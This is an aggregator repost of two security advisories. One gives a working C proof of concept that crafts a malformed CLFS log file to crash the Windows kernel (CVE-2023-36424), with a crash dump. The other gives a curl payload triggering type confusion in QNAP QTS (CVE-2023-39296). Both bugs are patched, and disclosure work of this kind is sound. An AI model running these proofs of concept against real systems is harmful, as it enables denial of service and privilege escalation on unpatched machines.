10 Pro

SSD Advisory – Windows Kernel Pool (clfs.sys) Corruption Privilege Escalation

Summary

A vulnerability exists in processing IRP_MJ_CREATE requests in driver clfs.sys. This occurs during the processing of blf files that are parsed in kernel.

Credit

An independent security researcher working with SSD Secure Disclosure.

CVE

CVE-2023-36424

Affected Versions

Windows systems running 64-bit clfs.sys with version 10.0.22621.1555

Vendor Response

The vendor has released a patch for this vulnerability, available at: https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2023-36424

Technical Analysis

During processing truncate metadata block in CClfsLogFcbPhysical::RecoverTruncateLog driver perform checks, that all substructure fits inside metadata block:

 dTruncateMetadataBlockPayloadSize = 1; pTruncateMetadataBlock = 0i64; dStatus = CClfsBaseFilePersisted::AcquireTruncateContext( this->pBaseFilePersisted, &dTruncateMetadataBlockPayloadSize, &pTruncateContext, &pTruncate, &dTruncatePayloadSize);
NTSTATUS __fastcall CClfsBaseFilePersisted::AcquireTruncateContext( CClfsBaseFilePersisted *this, unsigned int *i_pdMinimumTruncateMetadataBlockPayloadSize, CLFS_TRUNCATE_CONTEXT **o_pTruncateContext, CLFS_TRUNCATE_RECORD **o_pTruncatePayload, unsigned int *o_dTruncatePayloadSize)
{ char flAcquiredTruncateMetadataBlock; // si BOOLEAN v10; // r13 NTSTATUS dStatus; // ebx CLFS_LOG_BLOCK_HEADER *pData; // r10 CLFS_CONTROL_RECORD *pRecord; // rcx NTSTATUS dStatus_1; // [rsp+24h] [rbp-34h] CLFS_CONTROL_RECORD *pControlRecord; // [rsp+28h] [rbp-30h] BYREF pControlRecord = 0i64; flAcquiredTruncateMetadataBlock = 0; *o_pTruncateContext = 0i64; v10 = ExAcquireResourceExclusiveLite(this->sBase.pImageResource, 1u); dStatus = CClfsBaseFile::GetControlRecord(&this->sBase, &pControlRecord); dStatus_1 = dStatus; if ( dStatus >= 0 ) { dStatus = CClfsBaseFile::AcquireMetadataBlock(this, TRUNCATE); dStatus_1 = dStatus; if ( dStatus >= 0 ) { flAcquiredTruncateMetadataBlock = 1; pData = this->sBase.pMetaBlockArray[TRUNCATE].pData; if ( pData ) { dStatus = RtlULongSub(pData->dBackupOffset, pData->dPayloadOffset, o_dTruncatePayloadSize); dStatus_1 = dStatus; if ( dStatus < 0 ) goto LABEL_10; if ( *o_dTruncatePayloadSize >= *i_pdMinimumTruncateMetadataBlockPayloadSize )
...

The requirement is that the payload size of truncate should be greater or equal to i_pdMinimumTruncateMetadataBlockPayloadSize, which defined during call as 1.

But further driver dereference fields at offsets 0x8 and 0xc inside truncate:

bool __fastcall CClfsLogFcbPhysical::IsTruncatedRecordOffsetValid( __int64 a1, CLFS_TRUNCATE_RECORD *i_pTruncate, unsigned int i_dTruncatePayloadSize)
{ unsigned int dOffsetToOwnerPage; // ecx unsigned int dOffsetToClientChange; // edx bool v5; // cc dOffsetToOwnerPage = i_pTruncate->dOffsetToOwnerPage; if ( dOffsetToOwnerPage < 0x10 ) return 0; dOffsetToClientChange = i_pTruncate->dOffsetToClientChange; if ( dOffsetToClientChange < 0x10
...
00000000 CLFS_TRUNCATE struc
00000000 field_0 dq ?
00000008 dOffsetToClientChange dd ?
0000000C dOffsetToOwnerPage dd ?
00000010 field_10 dq ?
00000018 field_18 dq ?
00000020 field_20 dd ?
00000024 field_24 dd ?
00000028 CLFS_TRUNCATE_RECORD ends

As a result OOB read occurs.

To reproduce the crash it can be useful to use following command (enable special pool for driver):

verifier /flags 0x1 /driver clfs.sys

Proof of Concept

#include <Windows.h>
#include <winternl.h>
#include <stdio.h> UINT32 CRC32Reflect(UINT32 a, UINT8 b) { UINT32 result = 0; UINT8 j = 1; for (UINT32 i = a; j <= b; ++j) { if (i & 1) result |= 1 << (b - j); i >>= 1; } return result;
} UINT32 CRC32Compute(UINT8* buffer, size_t buflen) { UINT32 polynomial = 0x4C11DB7; UINT32 crcTable[0x100] = { 0 }; for (int i = 0; i < 0x100; ++i) { UINT32 tmp1 = CRC32Reflect(i, 8); INT32 tmp2 = tmp1 << 24; for (int j = 8; j > 0; --j) { tmp2 = 2 * tmp2 ^ ((tmp2 >> 31) & 0x4C11DB7); } crcTable[i] = CRC32Reflect(tmp2, 0x20); } UINT32 result = 0xffffffff; for (size_t i = 0; i < buflen; ++i) { result = (result >> 8) ^ crcTable[(UINT8)result ^ buffer[i]]; } return ~result;
} UINT32 ClfsEncodeBlockPrivate(UINT8* block, UINT32 sectorSize, UINT32 a3, UINT32 a4) { if (!*(UINT16*)(block + 4) || *(UINT16*)(block + 6) < *(UINT16*)(block + 4) || *(UINT16*)(block + 4) << 9 > sectorSize) return 0xC01A000A; if (a4 > 0x10) return 0xC000000D; if (!(a3 & 0x10111)) return 0xC000000D; if ((*(UINT32*)(block + 0x10) & 1)) return 0xC01A000A; UINT32 backupOffset = *(UINT32*)(block + 0x68); UINT16* backup = (UINT16*)(block + backupOffset); UINT32 sectorCount = sectorSize >> 9; if ((backupOffset & 7) || ((backupOffset + 2 * sectorCount) > sectorSize)) return 0xC01A000A; for (UINT32 i = 0; i < sectorCount; ++i) { UINT8 flag = a4 | ((i) ? 0x0 : 0x40) | ((sectorCount - 1 != i) ? 0x0 : 0x20); UINT16 checksum = ((a3 << 8) & 0xff00) | (flag & 0xff); backup[i] = *(UINT16*)(block + 0x1fe + (i << 9)); *(UINT16*)(block + 0x1fe + (i << 9)) = checksum; } *(UINT32*)(block + 0x10) = (*(UINT32*)(block + 0x10) & 0xFFFFFFFD) | 1; return 0;
} void ClfsEncodeBlock(UINT8* block) { ClfsEncodeBlockPrivate(block, *(UINT16*)(block + 4) << 9, *(UINT8*)(block + 2), 0x10); *(UINT32*)(block + 0xc) = CRC32Compute(block, *(UINT16*)(block + 4) << 9);
} char* generateBLF() { char curPathA[MAX_PATH] = { 0 }; GetCurrentDirectoryA(MAX_PATH, curPathA); wchar_t curPathW[MAX_PATH] = { 0 }; GetCurrentDirectoryW(MAX_PATH, curPathW); char* CLFSPath = new char[MAX_PATH]; memset(CLFSPath, 0, MAX_PATH * sizeof(char)); strcat_s(CLFSPath, MAX_PATH, curPathA); strcat_s(CLFSPath, MAX_PATH, "\\ssd_01"); char* BLFPath = new char[MAX_PATH]; memset(BLFPath, 0, MAX_PATH * sizeof(char)); strcat_s(BLFPath, MAX_PATH, CLFSPath); strcat_s(BLFPath, MAX_PATH, ".blf"); wchar_t* containerPath = new wchar_t[MAX_PATH]; memset(containerPath, 0, MAX_PATH * sizeof(wchar_t)); wchar_t* containerPathTmp = new wchar_t[MAX_PATH]; memset(containerPathTmp, 0, MAX_PATH * sizeof(wchar_t)); wcscat_s(containerPath, MAX_PATH, L"\\??\\"); wcscat_s(containerPath, MAX_PATH, curPathW); wcscat_s(containerPath, MAX_PATH, L"\\ssd_01"); wcscat_s(containerPathTmp, MAX_PATH, curPathW); wcscat_s(containerPathTmp, MAX_PATH, L"\\ssd_01"); size_t filesize = 0x400 + 0x400 + 0x2000 + 0x2000 + 0x2000 + 0x2000; UINT8* filebuf = new UINT8[filesize]; memset(filebuf, 0, filesize); *(UINT16*)(filebuf + 0x0 + 0x0) = 0x15; *(UINT16*)(filebuf + 0x0 + 0x2) = 0x1; *(UINT16*)(filebuf + 0x0 + 0x4) = 0x400 >> 9; *(UINT16*)(filebuf + 0x0 + 0x6) = 0x400 >> 9; *(UINT16*)(filebuf + 0x0 + 0x28) = 0x70; *(UINT16*)(filebuf + 0x0 + 0x68) = (0x400 - 2 * (0x400 >> 9)) & (~7); *(UINT64*)(filebuf + 0x0 + 0x70 + 8) = 0xC1F5C1F500005F1C; *(UINT32*)(filebuf + 0x0 + 0x70 + 0x28 + 0x0) = 0x3; *(UINT64*)(filebuf + 0x0 + 0x70 + 0x28 + 0x8) = 0x0; *(UINT64*)(filebuf + 0x0 + 0x70 + 0x28 + 0x10) = 0x10000; *(UINT64*)(filebuf + 0x0 + 0x70 + 0x48) = 0x6; *(UINT32*)(filebuf + 0x0 + 0x70 + 0x50 + 8) = 0x400; *(UINT32*)(filebuf + 0x0 + 0x70 + 0x50 + 0x20) = 0x400; *(UINT32*)(filebuf + 0x0 + 0x70 + 0x50 + 0x24) = 0x400; *(UINT32*)(filebuf + 0x0 + 0x70 + 0x50 + 0x28) = 0x1; *(UINT32*)(filebuf + 0x0 + 0x70 + 0x50 + 0x38) = 0x2000; *(UINT32*)(filebuf + 0x0 + 0x70 + 0x50 + 0x3c) = 0x800; *(UINT32*)(filebuf + 0x0 + 0x70 + 0x50 + 0x40) = 0x2; *(UINT32*)(filebuf + 0x0 + 0x70 + 0x50 + 0x50) = 0x2000; *(UINT32*)(filebuf + 0x0 + 0x70 + 0x50 + 0x54) = 0x2800; *(UINT32*)(filebuf + 0x0 + 0x70 + 0x50 + 0x58) = 0x3; *(UINT32*)(filebuf + 0x0 + 0x70 + 0x50 + 0x68) = 0x200; *(UINT32*)(filebuf + 0x0 + 0x70 + 0x50 + 0x6c) = 0x4800; *(UINT32*)(filebuf + 0x0 + 0x70 + 0x50 + 0x70) = 0x4; *(UINT32*)(filebuf + 0x0 + 0x70 + 0x50 + 0x80) = 0x200; *(UINT32*)(filebuf + 0x0 + 0x70 + 0x50 + 0x84) = 0x4a00; *(UINT32*)(filebuf + 0x0 + 0x70 + 0x50 + 0x88) = 0x5; // BASELOG record *(UINT16*)(filebuf + 0x800 + 0x0) = 0x15; *(UINT16*)(filebuf + 0x800 + 0x2) = 0x1; *(UINT16*)(filebuf + 0x800 + 0x4) = 0x2000 >> 9; *(UINT16*)(filebuf + 0x800 + 0x6) = 0x2000 >> 9; *(UINT16*)(filebuf + 0x800 + 0x28) = 0x70; *(UINT16*)(filebuf + 0x800 + 0x68) = (0x2000 - 2 * (0x2000 >> 9)) & (~7); // sHashTable1Entries *(UINT32*)(filebuf + 0x800 + 0x70 + 0x18) = 0x1338; // sHashTable2Entries *(UINT32*)(filebuf + 0x800 + 0x70 + 0x70) = 0x14f0; // dContainersCount *(UINT32*)(filebuf + 0x800 + 0x70 + 0x12c) = 0x1; // sClientSymbolOffsetsArray *(UINT32*)(filebuf + 0x800 + 0x70 + 0x138) = 0x1368; // sContainerSymbolOffsetsArray *(UINT32*)(filebuf + 0x800 + 0x70 + 0x32c) = 0x1520; // dLastAvailableSymOffset *(UINT32*)(filebuf + 0x800 + 0x70 + 0x1328) = 0x800; // dContainerCount *(UINT8*)(filebuf + 0x800 + 0x70 + 0x1334) = 0x1; // CLFS_CLIENT_CONTEXT *(UINT32*)(filebuf + 0x800 + 0x70 + 0x1338 + 0x0) = 0xC1FDF006; *(UINT32*)(filebuf + 0x800 + 0x70 + 0x1338 + 0x4) = 0x30; *(UINT32*)(filebuf + 0x800 + 0x70 + 0x1338 + 0x8) = 0x0; *(UINT32*)(filebuf + 0x800 + 0x70 + 0x1338 + 0xc) = 0xb8; *(UINT32*)(filebuf + 0x800 + 0x70 + 0x1338 + 0x20) = 0x13f0; *(UINT32*)(filebuf + 0x800 + 0x70 + 0x1338 + 0x24) = 0x1368; *(UINT32*)(filebuf + 0x800 + 0x70 + 0x1338 + 0x30 + 0x0) = 0xC1FDF007; *(UINT32*)(filebuf + 0x800 + 0x70 + 0x1338 + 0x30 + 0x4) = 0x88; *(UINT64*)(filebuf + 0x800 + 0x70 + 0x1338 + 0x30 + 0x8) = 0x100000000; *(UINT8*)(filebuf + 0x800 + 0x70 + 0x1338 + 0x30 + 0x10) = 0x1; *(UINT8*)(filebuf + 0x800 + 0x70 + 0x1338 + 0x30 + 0x11) = 0x0; *(UINT16*)(filebuf + 0x800 + 0x70 + 0x1338 + 0x30 + 0x12) = 0x0; *(UINT16*)(filebuf + 0x800 + 0x70 + 0x1338 + 0x30 + 0x24) = 0x1; *(UINT16*)(filebuf + 0x800 + 0x70 + 0x13f0) = 0x0; // CLFS_CONTAINER_CONTEXT *(UINT32*)(filebuf + 0x800 + 0x70 + 0x14f0 + 0x0) = 0xC1FDF006; *(UINT32*)(filebuf + 0x800 + 0x70 + 0x14f0 + 0x4) = 0x30; *(UINT32*)(filebuf + 0x800 + 0x70 + 0x14f0 + 0x8) = 0x0; *(UINT32*)(filebuf + 0x800 + 0x70 + 0x14f0 + 0xc) = 0xb8; *(UINT32*)(filebuf + 0x800 + 0x70 + 0x14f0 + 0x20) = 0x1550; *(UINT32*)(filebuf + 0x800 + 0x70 + 0x14f0 + 0x24) = 0x1520; *(UINT32*)(filebuf + 0x800 + 0x70 + 0x14f0 + 0x30 + 0x0) = 0xC1FDF008; *(UINT32*)(filebuf + 0x800 + 0x70 + 0x14f0 + 0x30 + 0x4) = 0x30; *(UINT64*)(filebuf + 0x800 + 0x70 + 0x14f0 + 0x30 + 0x8) = 0x80000; *(UINT8*)(filebuf + 0x800 + 0x70 + 0x14f0 + 0x30 + 0x10) = 0x1; *(UINT8*)(filebuf + 0x800 + 0x70 + 0x14f0 + 0x30 + 0x11) = 0x0; *(UINT16*)(filebuf + 0x800 + 0x70 + 0x14f0 + 0x30 + 0x12) = 0x0; *(UINT16*)(filebuf + 0x800 + 0x70 + 0x14f0 + 0x30 + 0x24) = 0x1; wcscpy_s((wchar_t*)(filebuf + 0x800 + 0x70 + 0x1550), MAX_PATH, containerPath); *(UINT16*)(filebuf + 0x4800 + 0x0) = 0x15; *(UINT16*)(filebuf + 0x4800 + 0x2) = 0x1; *(UINT16*)(filebuf + 0x4800 + 0x4) = 0x200 >> 9; *(UINT16*)(filebuf + 0x4800 + 0x6) = 0x200 >> 9; *(UINT16*)(filebuf + 0x4800 + 0x28) = 0x1f7; *(UINT32*)(filebuf + 0x4800 + 0x68) = (0x200 - 2 * (0x200 >> 9)) & (~7); ClfsEncodeBlock(filebuf + 0x0); ClfsEncodeBlock(filebuf + 0x800); ClfsEncodeBlock(filebuf + 0x4800); DeleteFileA(BLFPath); DeleteFileW(containerPathTmp); HANDLE hBLFFile = CreateFileA(BLFPath, GENERIC_ALL, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, 0); if (hBLFFile == INVALID_HANDLE_VALUE) { printf("CreateFileW failed: %x\n", GetLastError()); return NULL; } DWORD written = 0; if (!WriteFile(hBLFFile, filebuf, filesize, &written, NULL)) { printf("WriteFile failed: %x\n", GetLastError()); return NULL; } CloseHandle(hBLFFile); return CLFSPath;
} bool triggerCLFS() { char* newfilepath = generateBLF(); if (!newfilepath) { printf("failed generateBLF"); return -1; } char fullfilepath[MAX_PATH] = { 0 }; strcat_s(fullfilepath, "\\\\.\\LOG:\\??\\"); strcat_s(fullfilepath, newfilepath); HANDLE hFile = CreateFileA(fullfilepath, GENERIC_READ, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); CloseHandle(hFile); return true;
} int main(int argc, char* argv[]) { if (!triggerCLFS()) { printf("failed triggerCLFS"); return -1; } return 0;
}

Crash dump

*******************************************************************************
* *
* Bugcheck Analysis *
* *
******************************************************************************* PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffffc8050a59b003, memory referenced.
Arg2: 0000000000000000, value 0 = read operation, 1 = write operation.
Arg3: fffff8072f73111c, If non-zero, the instruction address which referenced the bad memory address.
Arg4: 0000000000000000, (reserved) Debugging Details:
------------------ KEY_VALUES_STRING: 1 Key : AV.Type Value: Read Key : Analysis.CPU.mSec Value: 2311 Key : Analysis.DebugAnalysisManager Value: Create Key : Analysis.Elapsed.mSec Value: 28648 Key : Analysis.Init.CPU.mSec Value: 5936 Key : Analysis.Init.Elapsed.mSec Value: 2337520 Key : Analysis.Memory.CommitPeak.Mb Value: 112 Key : WER.OS.Branch Value: ni_release Key : WER.OS.Timestamp Value: 2022-05-06T12:50:00Z Key : WER.OS.Version Value: 10.0.22621.1 BUGCHECK_CODE: 50 BUGCHECK_P1: ffffc8050a59b003 BUGCHECK_P2: 0 BUGCHECK_P3: fffff8072f73111c BUGCHECK_P4: 0 READ_ADDRESS: ffffc8050a59b003 Special pool MM_INTERNAL_CODE: 0 IMAGE_NAME: CLFS.SYS MODULE_NAME: CLFS FAULTING_MODULE: fffff8072f720000 CLFS PROCESS_NAME: ssd_01.exe TRAP_FRAME: ffffb08615db7f00 -- (.trap 0xffffb08615db7f00)
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=00000000000001ff rbx=0000000000000000 rcx=0000000000000200
rdx=ffffc8050a59aff7 rsi=0000000000000000 rdi=0000000000000000
rip=fffff8072f73111c rsp=ffffb08615db8098 rbp=ffffb08615db8750 r8=0000000000000001 r9=0000000000000001 r10=ffffc8050a59ae00
r11=ffffb30440fea000 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei pl zr na po nc
CLFS!CClfsLogFcbPhysical::IsTruncatedRecordOffsetValid:
fffff807`2f73111c 8b4a0c mov ecx,dword ptr [rdx+0Ch] ds:ffffc805`0a59b003=????????
Resetting default scope STACK_TEXT: ffffb086`15db74c8 fffff807`2e972062 : ffffb086`15db7630 fffff807`2e73a510 ffffdd00`55de0180 ffffc805`0a59b001 : nt!DbgBreakPointWithStatus
ffffb086`15db74d0 fffff807`2e971753 : ffffdd00`00000003 ffffb086`15db7630 fffff807`2e85c680 ffffb086`15db7be0 : nt!KiBugCheckDebugBreak+0x12
ffffb086`15db7530 fffff807`2e8434a7 : 00000000`00000000 00000000`00000000 00000000`00000000 ffffc805`0a59b003 : nt!KeBugCheck2+0xba3
ffffb086`15db7ca0 fffff807`2e8befe9 : 00000000`00000050 ffffc805`0a59b003 00000000`00000000 ffffb086`15db7f00 : nt!KeBugCheckEx+0x107
ffffb086`15db7ce0 fffff807`2e7054dc : ffffb304`3c061150 00000000`00000000 ffffb086`15db7e99 00000000`00000000 : nt!MiSystemFault+0x1bca29
ffffb086`15db7de0 fffff807`2e853f29 : 00000000`00004a00 ffffc805`0a59ce00 ffffb304`40fe8164 00000000`00000000 : nt!MmAccessFault+0x29c
ffffb086`15db7f00 fffff807`2f73111c : fffff807`2f7495e8 ffffb304`40fea000 00000000`00000000 ffffb304`40f8bee0 : nt!KiPageFault+0x369
ffffb086`15db8098 fffff807`2f7495e8 : ffffb304`40fea000 00000000`00000000 ffffb304`40f8bee0 ffffb304`40fe8480 : CLFS!CClfsLogFcbPhysical::IsTruncatedRecordOffsetValid
ffffb086`15db80a0 fffff807`2f722d16 : ffffb304`40fe8000 ffffb304`40f8bee0 00000000`00000001 ffffc805`0a596c98 : CLFS!CClfsLogFcbPhysical::RecoverTruncateLog+0x9c
ffffb086`15db8100 fffff807`2f755ade : ffffb304`40fe8000 00000000`00000001 ffffb304`3f704ac0 ffffb304`00120089 : CLFS!CClfsLogFcbPhysical::Initialize+0x94a
ffffb086`15db8220 fffff807`2f754bdb : ffffb304`3f0fe1a0 ffffccf8`51200001 00000000`00000000 fffff807`2f750000 : CLFS!CClfsRequest::Create+0x67a
ffffb086`15db8370 fffff807`2f75416e : ffffb304`3f0fe1a0 ffffb304`3c211d50 ffffb304`3c5fd640 00000000`00000001 : CLFS!CClfsRequest::Dispatch+0x7f
ffffb086`15db83c0 fffff807`2f7540b7 : ffffb304`3c5fd640 ffffb304`3c5fd640 ffffb304`3c5fd640 00000000`00000040 : CLFS!ClfsDispatchIoRequest+0x8e
ffffb086`15db8410 fffff807`2e656275 : 00000000`00000000 fffff807`2e65e303 00000000`00000000 ffffb304`3c211d50 : CLFS!CClfsDriver::LogIoDispatch+0x27
ffffb086`15db8440 fffff807`2eac1ae9 : 00000000`00000000 ffffb086`15db8750 ffffb304`3c5fd640 ffffb304`40f8b580 : nt!IofCallDriver+0x55
ffffb086`15db8480 fffff807`2eabd217 : fffff807`2eac1220 fffff807`2eac1220 00000000`00000001 ffffb304`3c0f6900 : nt!IopParseDevice+0x8c9
ffffb086`15db8650 fffff807`2eabc642 : ffffc805`09c1adf0 ffffb086`15db8880 00000000`00000040 ffffb304`3c0f6e80 : nt!ObpLookupObjectName+0x697
ffffb086`15db87f0 fffff807`2ead1e29 : 00000000`00000000 ffffb304`3f2ebaa0 00000048`03bdf420 00000000`00000001 : nt!ObOpenObjectByNameEx+0x1f2
ffffb086`15db8920 fffff807`2ead19d9 : 00000048`03bdf3c0 00000000`00000000 00000048`03bdf420 00000048`03bdf3c8 : nt!IopCreateFile+0x439
ffffb086`15db89e0 fffff807`2e8580e8 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!NtCreateFile+0x79
ffffb086`15db8a70 00007ff9`924ef6f4 : 00007ff9`8fcdaa60 00000000`00000080 00000000`00000000 00000000`642f0000 : nt!KiSystemServiceCopyEnd+0x28
00000048`03bdf338 00007ff9`8fcdaa60 : 00000000`00000080 00000000`00000000 00000000`642f0000 00000000`00000000 : ntdll!NtCreateFile+0x14
00000048`03bdf340 00007ff9`8fcda2d8 : 00000048`03bdf500 00007ff9`0000003e 00000177`d5370001 00000000`00000000 : KERNELBASE!CreateFileInternal+0x590
00000048`03bdf4b0 00007ff6`662e2bc8 : 00000000`00000000 00000048`03bdf6b4 00000000`00000000 00000048`03bdf580 : KERNELBASE!CreateFileA+0xe8
00000048`03bdf540 00007ff6`662e2d48 : 00007ff6`662f50a3 00000000`00000016 00000177`00000000 00007ff9`4d2203c8 : ssd_01!triggerCLFS+0xb8
00000048`03bdf7d0 00007ff6`662e37a9 : 0000ea95`00000001 00000177`d5379950 00000000`00000000 00007ff6`662e4eed : ssd_01!main+0x28
00000048`03bdf8d0 00007ff6`662e364e : 00007ff6`662eb000 00007ff6`662eb220 00000000`00000000 00000000`00000000 : ssd_01!invoke_main+0x39
00000048`03bdf920 00007ff6`662e350e : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ssd_01!__scrt_common_main_seh+0x12e
00000048`03bdf990 00007ff6`662e383e : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ssd_01!__scrt_common_main+0xe
00000048`03bdf9c0 00007ff9`91b2269d : 00000048`03cbd000 00000000`00000000 00000000`00000000 00000000`00000000 : ssd_01!mainCRTStartup+0xe
00000048`03bdf9f0 00007ff9`924aa9f8 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : KERNEL32!BaseThreadInitThunk+0x1d
00000048`03bdfa20 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x28 SYMBOL_NAME: CLFS!CClfsLogFcbPhysical::IsTruncatedRecordOffsetValid+0 STACK_COMMAND: .cxr; .ecxr ; kb BUCKET_ID_FUNC_OFFSET: 0 FAILURE_BUCKET_ID: AV_VRF_R_(null)_CLFS!CClfsLogFcbPhysical::IsTruncatedRecordOffsetValid OS_VERSION: 10.0.22621.1 BUILDLAB_STR: ni_release OSPLATFORM_TYPE: x64 OSNAME: Windows 10 FAILURE_ID_HASH: {be87c7fe-0f3f-c3b0-3400-56d9576bc7ff} Followup: MachineOwner
---------

The post SSD Advisory – Windows Kernel Pool (clfs.sys) Corruption Privilege Escalation appeared first on SSD Secure Disclosure.

a href=“https://ssd-disclosure.com/ssd-advisory-windows-kernel-pool-clfs-sys-corruption-privilege-escalation/“>Source / Zdroj

07 Pro

SSD Advisory – QNAP QTS5 – /usr/lib/libqcloud.so JSON parsing leads to RCE

Summary

QTS’s JSON parsing functionality is vulnerable to type confusion due to a failure to properly check the type of the json-object->data field. The bug allows an attacker to hijack control flow, and is accessible via the /cgi-bin/qid/qidRequestV2.cgi binary.

Successful exploitation would allow an unauthenticated attacker to execute arbitrary code as the admin user (equivalent to root in the QTS operating system). Under the default configuration the bug can be triggered by a network adjacent attacker, but if the HTTP server is configured for remote access it is fully remote.

Credit

An independent security researcher, dcs, working with SSD Secure Disclosure.

CVE

CVE-2023-39296

Affected Versions

QNAP TS-494 NAS running QTS operating system 5.1.0.2466 build 20230721

The bug is present across QNAP NAS devices running QTS, and exists at least as far back as 5.1.0.2348 build 20230325 (oldest build publicly available for download).

Vendor Response

The vendor has issued a fix for the vulnerability, information about the fix is available at: https://www.qnap.com/en-me/security-advisories

Technical Analysis

QTS’s JSON functionality is based on the MIT-licensed json-c project and is implemented in /usr/lib/libqcloud.so. The function json_tokener_parse_verbose iterates through a provided JSON string, and constructs a JSON object. The json-object structure is defined as follows:

struct json_object { enum json_type o_type; [1] json_func *_delete; json_func *_to_json_string; int ref_count; struct printbuf *pb; union data { boolean c_boolean; double c_double; int c_int; struct lh_table *c_object; struct array_list *c_array; char *c_string; } o;
};

The json_object->o union field allows a json_object to contain a variety of different data types. The data type held by each json_object is indicated in the o_type [1] field. While processing a JSON string, json_tokener_parse_verbose will read the first few characters of the JSON string, and set the o and o_type fields. For example the following string: string {} will return a json_object with o_type set to json_type_string and o set to a pointer to string, while the string 1234 {} will return a json_object with o_type json_type_int and o set to the integer value 1234.

When parsing an attacker-provided JSON string, the /home/httpd/cgi-bin/qid/qidRequestV2.cgi binary does not properly check the o_type field before attempting to add values to a json_object. Instead, it assumes that json_tokener_parse_verbose returns a json_object with o_type json_type_object. This is only true for strings that begin with {. A highly condensed summary of how qidRequestV2.cgi parses JSON data is as follows:

json_obj = json_tokener_parse_verbose(json_string);
…
json_string = json_object_new_string(cgi_value);
json_object_object_add(json_object, cgi_param, json_string); [2]

The call to json_object_object_add at [2] assumes that json_object->o_type is json_type_object. However that type is controlled by an attacker. By sending a specifically crafted JSON string, an attacker can get qidRequestV2.cgi to treat a provided string or integer value as a struct lh_table. This is especially dangerous since json_object_object_add attempts to call a function pointer in lh_table (json_object->o->hash_fn()). The JSON string “702111234474983745 {} will cause json_object_object_add to attempt to dereference an lh_table at address 0x4141414141414141.

Steps to reproduce/proof of concept

To reproduce the crash simply issue the following curl request to the NAS:

curl -X POST -H "Content-Type: application/json" -d "4702111234474983745 {}" "{NAS_IP}:8080/cgi-bin/qid/qidRequestV2.cgi?param=value"

This will cause the program to crash attempting to dereference a lh_table structure at 0x4141414141414141.

The post SSD Advisory – QNAP QTS5 – /usr/lib/libqcloud.so JSON parsing leads to RCE appeared first on SSD Secure Disclosure.

a href=“https://ssd-disclosure.com/ssd-advisory-qnap-qts5-usr-lib-libqcloud-so-json-parsing-leads-to-rce/“>Source / Zdroj